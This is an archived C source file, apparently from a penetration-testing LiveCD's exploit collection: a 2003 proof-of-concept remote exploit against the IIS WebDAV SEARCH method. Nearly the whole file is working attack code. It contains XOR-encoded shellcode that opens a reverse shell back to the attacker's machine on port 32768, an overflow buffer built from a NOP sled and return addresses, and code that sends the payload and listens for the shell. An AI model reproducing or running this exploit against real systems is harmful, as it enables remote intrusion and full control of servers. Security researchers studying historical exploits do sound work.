home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / iis / webdav-reloaded.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  10KB  |  315 lines

  1. /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
  2. /*      29/05/2003 - The Matrix Reloaded -        */
  3. /*      Proof of concept exploit by Alumni        */
  4. /*-\--/--\--/--\--/--\--/--\--/--\--/--\--/--\--/-*/
  5. /* In brief:                                      */
  6. /* 1) spawns shell on port 32768;                 */
  7. /* 2) the byte-code independent on                */
  8. /*        kernel loading point entry;             */
  9. /* 3) because of zero-bytes presence in           */
  10. /*        code, the shellcode is xored with       */
  11. /*        calculate-based selective key;          */
  12. /*-\--/--\--/--\--/--\--/--\--/--\--/--\--/--\--/-*/
  13. /* Greetings: to all my friends                   */
  14. /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
  15.  
  16.  
  17. #include <stdio.h>
  18. #include <winsock.h>
  19. #include <windows.h>
  20.  
  21. #define SHELLCODELEN    753
  22. #define NOP                             0x90
  23. #define BUFFERLEN               1024
  24. #define RET                             0x41424344
  25.  
  26. #define GMHOFF  30
  27. #define GPAOFF  38
  28. #define IPOFF   161
  29. #define DEFPORT 32768
  30.  
  31.  
  32. //#define DEBUGGEE_FLOW // for debug only
  33. #ifdef DEBUGGEE_FLOW
  34. #define GMH             (long)GetModuleHandle
  35. #define GPA             (long)GetProcAddress
  36. #else
  37. #define GMH             0x0100107C      // GetModuleHandle@
  38. #define GPA             0x01001034      // GetProcAddress@
  39. #endif
  40.  
  41.  
  42. #define XOROFF  11
  43. #define SOFF    16
  44.  
  45.  
  46. char prologue[] =
  47. "\xEB\x03"      // jmp $+3
  48. "\x58"          // pop eax
  49. "\x50"          // push eax
  50. "\xC3"          // retn
  51. "\xE8\xF8\xFF\xFF\xFF"  // call $-3
  52. "\xB2"          // mov dl, %key
  53.  
  54. "\x90"          // %key
  55. "\x33\xC9"      // xor ecx, ecx
  56. "\x66\xB9"      // mov cx, shellcodesize
  57.  
  58. "\x04\x03"      // shellcodesize = hex(SHELLCODELEN)
  59. "\x04\x14"      // add al, 0x14
  60. "\x30\x10"      // xor byte ptr[eax], dl
  61. "\x40"          // inc eax
  62. "\x66\x49"      // dec cx
  63. "\x67\xE3\x02"  // jcxz $+5
  64. "\xEB\xF6"      // jmp $-8
  65. ;
  66.  
  67.  
  68. char shellcode[SHELLCODELEN+1] =
  69. "\xe8\x5f\x02\x00\x00\x8b\xe8\x33\xf6\x66\xbe\x80"
  70. "\x00\x03\xf4\xc7\x46\xf0\x00\x00\x00\x00\xc7\x46"
  71. "\xf4\x00\x00\x00\x00\xb8\xf2\x12\x40\x00\x89\x46"
  72. "\xf8\xb8\xf8\x12\x40\x00\x89\x46\xfc\x8b\xd5\x81"
  73. "\xc2\x9e\x02\x00\x00\x52\xff\x56\xf8\x89\x46\xf4"
  74. "\x8b\xd5\x81\xc2\xab\x02\x00\x00\x52\xff\x76\xf4"
  75. "\xff\x56\xfc\x68\x00\x10\x00\x00\x6a\x40\xff\xd0"
  76. "\x8b\xf8\x8b\xc7\x8b\xfe\x8b\xf0\x83\xc6\x20\x8b"
  77. "\x47\xf8\x89\x46\xf8\x8b\x47\xf4\x89\x46\xf4\x8b"
  78. "\x47\xfc\x89\x46\xfc\x8b\xd5\x81\xc2\x6e\x02\x00"
  79. "\x00\x52\xff\x56\xf8\x89\x46\xf0\x8b\xd5\x81\xc2"
  80. "\x7e\x02\x00\x00\x52\xff\x76\xf0\xff\x56\xfc\x8b"
  81. "\xd8\x6a\x06\x6a\x01\x6a\x02\xff\xd3\x89\x06\x8b"
  82. "\xd6\x83\xc2\x14\xb8"
  83. "\x7f\x00\x00\x01"              // put your ip here (run netcat before,
  84. e.g. 127.0.0.1)
  85. "\x89\x42\x04\x66\xc7\x02\x02\x00\x66\xb8"
  86. "\x80\x00"                      // specify connectious port here (e.g.
  87. 32768)
  88. "\x66\x89\x42"
  89. "\x02\x8b\xd5\x81\xc2\x8a\x02\x00\x00\x52\xff\x76"
  90. "\xf0\xff\x56\xfc\x8b\xd8\x6a\x10\x8b\xd6\x83\xc2"
  91. "\x14\x52\xff\x36\xff\xd3\x83\xf8\xff\x0f\x84\x84"
  92. "\x01\x00\x00\x8b\xd5\x81\xc2\x79\x02\x00\x00\x52"
  93. "\xff\x76\xf0\xff\x56\xfc\x8b\xd8\x8b\xd6\x6a\x00"
  94. "\x68\x64\x0f\x00\x00\x81\xc2\x9c\x00\x00\x00\x52"
  95. "\xff\x36\xff\xd3\xc6\x84\x30\x9c\x00\x00\x00\x00"
  96. "\xbb\x00\x00\x00\x00\x66\xb9\x0c\x00\x8a\x84\x2b"
  97. "\x62\x02\x00\x00\x88\x84\x33\x90\x00\x00\x00\x43"
  98. "\x66\x49\x66\x83\xf9\x00\x75\xe9\x8b\xfe\x81\xc7"
  99. "\x84\x00\x00\x00\xc7\x07\x0c\x00\x00\x00\xc7\x47"
  100. "\x04\x00\x00\x00\x00\xc7\x47\x08\x01\x00\x00\x00"
  101. "\x8b\xfe\x8b\xd6\x8b\xce\x81\xc7\x84\x00\x00\x00"
  102. "\x83\xc2\x0c\x83\xc1\x10\x6a\x00\x57\x51\x52\x8b"
  103. "\xd5\x81\xc2\xc9\x02\x00\x00\x52\xff\x76\xf4\xff"
  104. "\x56\xfc\x8b\xd8\xff\xd3\x8b\xfe\x83\xc7\x34\xc7"
  105. "\x07\x44\x00\x00\x00\x66\xc7\x47\x30\x00\x00\xc7"
  106. "\x47\x2c\x01\x01\x00\x00\x8b\x46\x10\x89\x47\x3c"
  107. "\x89\x47\x40\x8b\xd6\x8b\xde\x8b\xce\x81\xc2\x90"
  108. "\x00\x00\x00\x83\xc3\x34\x83\xc1\x78\x51\x53\x6a"
  109. "\x00\x6a\x00\x6a\x00\x6a\x01\x6a\x00\x6a\x00\x52"
  110. "\x6a\x00\x8b\xd5\x81\xc2\xd4\x02\x00\x00\x52\xff"
  111. "\x76\xf4\xff\x56\xfc\x8b\xd8\xff\xd3\x8b\xd5\x81"
  112. "\xc2\xbd\x02\x00\x00\x52\xff\x76\xf4\xff\x56\xfc"
  113. "\x8b\xd8\xff\x76\x10\xff\xd3\x8b\xd6\x83\xc2\x08"
  114. "\x8b\xd5\x81\xc2\xb7\x02\x00\x00\x52\xff\x76\xf4"
  115. "\xff\x56\xfc\x8b\xd8\x68\x88\x13\x00\x00\xff\xd3"
  116. "\x8b\xd6\x8b\xce\x81\xc2\x90\x00\x00\x00\x83\xc1"
  117. "\x08\x8b\x5e\x08\x6a\x00\x51\x68\x70\x0f\x00\x00"
  118. "\x52\xff\x76\x0c\x8b\xd5\x81\xc2\xe3\x02\x00\x00"
  119. "\x52\xff\x76\xf4\xff\x56\xfc\x8b\xd8\xff\xd3\x8b"
  120. "\xd6\x81\xc2\x90\x00\x00\x00\x6a\x00\xff\x76\x08"
  121. "\x52\xff\x36\x8b\xd5\x81\xc2\x85\x02\x00\x00\x52"
  122. "\xff\x76\xf0\xff\x56\xfc\x8b\xd8\xff\xd3\x8b\xd5"
  123. "\x81\xc2\x92\x02\x00\x00\x52\xff\x76\xf0\xff\x56"
  124. "\xfc\x8b\xd8\xff\x36\xff\xd3\xe9\x1c\xfe\xff\xff"
  125. "\x58\x50\xc3\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f"
  126. "\x43\x20\x20\x57\x53\x32\x5f\x33\x32\x2e\x44\x4c"
  127. "\x4c\x00\x72\x65\x63\x76\x00\x73\x6f\x63\x6b\x65"
  128. "\x74\x00\x73\x65\x6e\x64\x00\x63\x6f\x6e\x6e\x65"
  129. "\x63\x74\x00\x63\x6c\x6f\x73\x65\x73\x6f\x63\x6b"
  130. "\x65\x74\x00\x4b\x45\x52\x4e\x45\x4c\x33\x32\x2e"
  131. "\x44\x4c\x4c\x00\x47\x6c\x6f\x62\x61\x6c\x41\x6c"
  132. "\x6c\x6f\x63\x00\x53\x6c\x65\x65\x70\x00\x43\x6c"
  133. "\x6f\x73\x65\x48\x61\x6e\x64\x6c\x65\x00\x43\x72"
  134. "\x65\x61\x74\x65\x50\x69\x70\x65\x00\x43\x72\x65"
  135. "\x61\x74\x65\x50\x72\x6f\x63\x65\x73\x73\x41\x00"
  136. "\x52\x65\x61\x64\x46\x69\x6c\x65\x00";
  137.  
  138.  
  139. char xmlbody[] ="<?xml version=\"1.0\"?>\r\n<g:searchrequest
  140. xmlns:g=\"DAV:\">\r\n"
  141.                                 "<g:sql>\r\nSelect \"DAV:displayname\"
  142. from scope()\r\n</g:sql>\r\n</g:searchrequest>\r\n";
  143.  
  144.  
  145. long retaddr, buffsize;
  146. char* buffer;
  147.  
  148.  
  149.  
  150. unsigned long getlocalhostip()
  151. {
  152.         char buff[128];
  153.         in_addr inaddr;
  154.         if(!gethostname(buff,128))
  155.         {
  156.                 memcpy(&inaddr,gethostbyname(buff)->h_addr,4);
  157.                 return(inet_addr(inet_ntoa(inaddr)));
  158.         }
  159.         return (-1);
  160. }
  161.  
  162.  
  163.  
  164. ULONG WINAPI AcceptThread(LPVOID lpParam)
  165. {
  166.         int ln1;
  167.         unsigned long slisten, sacc;
  168.         sockaddr_in saddrin;
  169.  
  170.         slisten = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  171.         if (slisten!=INVALID_SOCKET)
  172.         {
  173.                 saddrin.sin_addr.s_addr = INADDR_ANY;
  174.                 saddrin.sin_family = AF_INET;
  175.                 saddrin.sin_port = htons(DEFPORT);
  176.                 bind(slisten,(struct sockaddr*)&saddrin,sizeof(saddrin));
  177.                 listen(slisten,5);
  178.                 while (1)
  179.                 {
  180.                         ln1 = sizeof(saddrin);
  181.                         sacc = accept(slisten,(struct sockaddr*)
  182. &saddrin,&ln1);
  183.                         if (sacc!=INVALID_SOCKET)
  184.                         {
  185.                                 printf("\n\nShell succesfully spawned on
  186. remote host\nNetcat to %d",DEFPORT);
  187.                                 ExitProcess(0);
  188.                         }
  189.                 }
  190.         }
  191.         return (1);
  192. }
  193.  
  194.  
  195. ULONG SendRequest (char* sHost, int iPort)
  196. {
  197.         char* buffsend;
  198.         struct sockaddr_in saddr_in;
  199.         int timeout;
  200.         unsigned long sock;
  201.  
  202.         buffsend = (char*)malloc(buffsize+256);
  203.         memset(buffsend,0,buffsize+256);
  204.         sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  205.         saddr_in.sin_addr.s_addr = inet_addr(sHost);
  206.         saddr_in.sin_family = AF_INET;
  207.         saddr_in.sin_port = htons(iPort);
  208.         if (!connect(sock,(struct sockaddr*)&saddr_in,sizeof(saddr_in)))
  209.         {
  210.                 timeout = 5000;
  211.                 setsockopt(sock,SOL_SOCKET,SO_RCVTIMEO,(char*)
  212. &timeout,sizeof(timeout));
  213.                 setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)
  214. &timeout,sizeof(timeout));
  215.                 sprintf(buffsend,"SEARCH / HTTP/1.1\r\nHost:%s\r\nContent-
  216. Type: text/xml\r\nContent-Length: %d\r\n\r\n%s%s",strlen(xmlbody)+strlen
  217. (buffer),xmlbody,buffer);
  218.                 send (sock,buffsend,strlen(buffsend),0);
  219.                 closesocket(sock);
  220.         }
  221.         else return(1);
  222.  
  223.         return (0);
  224. }
  225.  
  226.  
  227. void dispUsage(char* str1)
  228. {
  229.         printf ("IIS WebDAV exploit by Alumni - The Matrix Reloaded -\n");
  230.         printf ("Usage: %s <ipv4dot> <port> [<buffsize>] [<retaddr>]
  231. \n\n",str1);
  232.         return;
  233. }
  234.  
  235. int main(int argc, char** argv)
  236. {
  237.         unsigned long uThread;
  238.         int prologuelen = 0, i;
  239.         char xorkey = 0;
  240.         long *ptr1;
  241.         WSADATA wsadata;
  242.  
  243.         WSAStartup(MAKEWORD(2,0),&wsadata);
  244.         buffsize = BUFFERLEN;
  245.         retaddr = RET;
  246.  
  247. #ifndef DEBUGGEE_FLOW
  248.         if (argc<3)
  249.         {
  250.                 dispUsage(argv[0]);
  251.                 return (1);
  252.         }
  253.         if (argc>=4) buffsize = atoi(argv[3]);
  254.         if (argc>=5) retaddr = atol(argv[4]);
  255. #endif
  256.  
  257.         buffer = (char*) malloc(buffsize+1);
  258.         ptr1 = (long*)buffer;
  259.         memset(buffer,0,buffsize);
  260.         CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)
  261. AcceptThread,NULL,NULL,&uThread);
  262.  
  263.         *(long*)(shellcode+GMHOFF) = GMH;
  264.         *(long*)(shellcode+GPAOFF) = GPA;
  265.         *(long*)(shellcode+IPOFF) = getlocalhostip();
  266.  
  267.         for (i=0;i<256;i++)
  268.         {
  269.                 int iBool = 1, j;
  270.                 for (j=0;j<SHELLCODELEN;j++)
  271.                         if ((shellcode[j]^i)==0 || (shellcode[j]^i)==0x0d
  272. || (shellcode[j]^i)==0x0a) iBool = 0;
  273.                 if (iBool)
  274.                 {
  275.                         xorkey = i;
  276.                         break;
  277.                 }
  278.         }
  279.  
  280.         for (i=0;i<SHELLCODELEN;i++) shellcode[i] ^= xorkey;
  281.         for (i=0;i<(buffsize-SHELLCODELEN)/2;i++) buffer[i] = NOP;
  282.         prologue[XOROFF] = xorkey;
  283.         *(short int*)(prologue+SOFF) = SHELLCODELEN;
  284.  
  285.         strncat(buffer,prologue,buffsize);
  286.  
  287.         prologuelen = strlen(buffer);
  288.         for (i=prologuelen;i<SHELLCODELEN+prologuelen;i++) buffer[i] =
  289. shellcode[i-prologuelen];
  290.         prologuelen = strlen(buffer);
  291.         buffer[prologuelen] = NOP;
  292.         buffer[prologuelen+1] = NOP;
  293.         buffer[prologuelen+2] = NOP;
  294.         buffer[prologuelen+3] = NOP;
  295.         for (i=(prologuelen+3) & (~3);i<buffsize;i+=sizeof(retaddr))  *
  296. (long*)(buffer+i) = retaddr;
  297.         buffer[buffsize] = 0;
  298.  
  299.         printf ("%s",buffer);
  300.  
  301.  
  302. #ifdef DEBUGGEE_FLOW
  303.         __asm {
  304.                 mov eax, ptr1
  305.                 call eax
  306.         }
  307. #else
  308.         SendRequest(argv[1],atoi(argv[2]));
  309. #endif
  310.  
  311.         WSACleanup();
  312.         return (0);
  313. }
  314.  
  315.